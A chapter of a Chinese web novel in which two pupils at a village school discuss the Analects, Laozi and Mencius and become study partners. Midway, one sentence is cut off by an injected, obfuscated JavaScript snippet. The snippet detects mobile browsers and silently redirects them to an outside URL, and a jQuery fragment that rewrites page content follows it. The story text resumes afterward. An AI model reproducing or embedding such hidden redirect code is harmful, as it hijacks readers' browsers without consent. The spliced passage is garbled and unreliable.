自那日村口一别，林湛与周文渊之间便似有了一条无形的线。在乡塾里，他们依旧不是最热络的一对，李茂才偶尔还是会和张桐、王石头说笑几句，刘水生也渐渐敢和其他人搭话。但每当孙夫子讲解告一段落，让大家自行诵读或思索时，林湛和周文渊的目光便会偶尔在空中交汇，然后周文渊会微微颔首，林湛则回以一笑，仿佛交换了某种只有彼此懂的暗号。
真正让这段关系从“可以交谈”升华为“互为师友”的，是几次发生在学堂之外、屋檐之下的深入探讨。
一次午休，其他孩子都跑出去玩耍或回家吃饭，林湛因家近，带了块杂粮饼子在学堂边吃边温书。周文渊则照例留在座位上，就着清水啃着一个硬邦邦的、看不出原料的粗粝窝头，眼睛却还盯着摊开的《论语》。
林湛走过去，在他对面坐下，递过去半块自己的饼子：“周师兄，尝尝这个？我娘新做的，掺了点豆面。”
周文渊愣了一下，看着那半块明显比自己手中食物精细得多的饼子，耳根微红，摇摇头：“不……不用，我够了。”
林湛也不强求，收起饼子，指着《论语》上“祭如在，祭神如神在”一句，问道：“夫子说祭祀时要像神明真的在一样恭敬。周师兄，你说这‘如’字，是心里想着神明在，还是真的相信神明就在那儿看着？”
这个问题看似简单，却触及了儒家“敬鬼神而远之”的实践态度与内在信念的关系。周文渊放下窝头，认真想了想，低声道：“依我看，关键在‘敬’字。‘如’是存想，是仪式所需的心境。圣人制礼，旨在教化人心，非为邀福鬼神。故‘祭如在’，是要求人收敛心神，以诚敬之心行事，至于神明究竟在否，非所亟论。此或近乎‘慎独’之意？” 他引用了“慎独”（在独处时也要谨慎不苟）的概念，将祭祀的外在仪式与内在修养联系起来。
林湛点头：“师兄说得透彻。就像咱们写字，心里得先有字的形和意，手下才能写出规矩的字。祭祀的规矩就像笔画的法度，‘如在’的心境就是握笔时的那份专注恭敬。” 他又用上了自己擅长的类比。
周文渊眼睛微亮，觉得这个比喻新奇又贴切。“林师弟善喻。如此说来，一切礼法规矩，其内核皆是导人向善、正心诚意的‘心境’？”
“或许是吧。”林湛道，“不过，若是规矩太繁琐，让人只记得动作，忘了‘心境’，是不是就本末倒置了？就像初学写字，总盯着笔怎么拿，纸怎么摆，反而写不好字了。”
周文渊若有所思：“这便是夫子所言‘礼云礼云，玉帛云乎哉？乐云乐云，钟鼓云乎哉？’了。林师弟总能由小见大。”
另一次，放学后雨骤至，两人都被困在孙夫子的屋檐下。雨打芭蕉，声如碎玉。周文渊望着雨幕，忽然低声吟道：“子曰：‘天何言哉？四时行焉，百物生焉，天何言哉？’” 吟罢，他转头问林湛：“林师弟，你读史书，观天时人事，觉得这‘天’究竟有无意志？圣人此言，是赞天无言而化育之功，还是叹天道幽微难测？”
这个问题更大了，涉及自然天道与人文信仰。林湛沉吟道：“天行有常，不为尧存，不为桀亡。四时更迭，万物枯荣，自有其理。圣人此言，我觉着更像是说，天道就体现在这运行化育之中，无需言语标榜。人当效法天道，默默躬行，而非空谈。至于意志……或许‘天地不仁，以万物为刍狗’，天道无私，人自当自强不息。”他引用了《老子》和《易经》的句子，虽未深解，但意思到了。
周文渊听得怔住了，反复咀嚼“天行有常”、“天地不仁，以万物为刍狗”这几句，虽觉其中有些说法与他常读的儒家经典略有出入，但那份对天道自然的冷静洞察，却让他心头震撼。“林师弟……你这些见解，从何而来？可是孙夫子所授？”
林湛自知失言，忙道：“有些是读杂书胡乱看的，有些是自己瞎想的。让师兄见笑了。我觉得，不管哪家道理，能帮人看清世界、立身处世的，便是好道理。就像下雨，儒家说‘遇雨则吉’，道家说‘上善若水’，农家说‘春雨贵如油’，说的都是雨，角度不同罢了。”
周文渊深深看了林湛一眼，不再追问，只是叹道：“师弟胸怀，非我能及。”
最让林湛受益的，是周文渊对经典体系的热悉。林湛有超越时代的见识和学习方法，但对这个时代士大夫阶层赖以安身立命的经典体系——四书五经的传承脉络、注疏流派、考试重点——却如雾里看花。而这，正是出身虽寒微、却自幼随父亲（其父曾是童生）浸润其中的周文渊所擅长的。
一日，两人讨论《孟子》中“民为贵，社稷次之，君为轻”。林湛结合史书所见，提出这理念在现实中践行之难。周文渊便细细
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179270|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为他梳理历代大儒对此句的阐释分歧，哪些侧重于民本，哪些试图调和君权，哪些在科举策论中常被引用，哪些又容易触犯忌讳。
“譬如朱子注此章，强调‘国以民为本’，但亦言‘君者，为民之主’。”周文渊低声道，“后世考官，多喜学子阐发‘民本’之意，但须落脚于‘君仁臣忠’，方为稳妥。若过于强调‘君轻’，甚至暗讽时政，便有险矣。” 他家中虽无余财，却藏有几卷其父留下的经义注疏和科场文选抄本，他早已烂熟于心。
林湛恍然，这不仅是学问，更是“游戏规则”。他感激道：“多谢师兄指点！这比死读经文有用多了。”
周文渊却摇头：“此乃小道，不得已而为之。学问根本，仍在义理之明澈。林师弟你天资颖悟，切莫为这些桎梏所限。只是……行走于世，知其规则，方能更好地运用规则，甚至……或许将来有机会，改变些许不合理的规则。” 他说到最后，声音更低，眼中却闪过一丝与他年龄不符的、深沉的光芒。
林湛心中一动，看着眼前这个衣衫简朴、面容清瘦的同窗，仿佛看到了一个被贫困压抑却从未熄灭的理想火种。他郑重拱手：“师兄教诲，铭记于心。”
雨渐渐停了，屋檐水滴敲打着青石，叮咚作响。夕阳从云层缝隙中射出几缕金光，将潮湿的庭院染上一片温暖的橘色。
孙夫子不知何时站在书房门口，看着屋檐下两个并肩而坐、低声探讨的小小身影，一个沉稳早慧，一个内秀敏思，一高一矮，却有着某种奇异的和谐。他捻须微笑，并未打扰，只是心中暗叹：这小小的乡塾，竟能聚得如此两块璞玉，相互砥砺，或许真是天意。
远处传来铁柱呼唤林湛的声音。林湛起身，对周文渊道：“周师兄，雨停了，该回去了。明日再向师兄请教《尚书》中那篇‘洪范’可好？”
周文渊也站起身，脸上带着难得的、轻松的笑意：“好。我也正有许多不明之处，欲与师弟探讨。”
两人在渐散的雨雾中告别，各自走向归家的路。屋顶的瓦片被雨水洗得发亮，映照着天边最后一抹霞光。这一日的问与答，如同那檐下水滴，虽细微，却已悄然渗入泥土，滋养着两颗渴望知识与真理的幼小心灵。他们互为师友，彼此照亮，在这条漫长而艰辛的科举之路上，悄然结下了第一份坚实的、基于思想共鸣的同盟。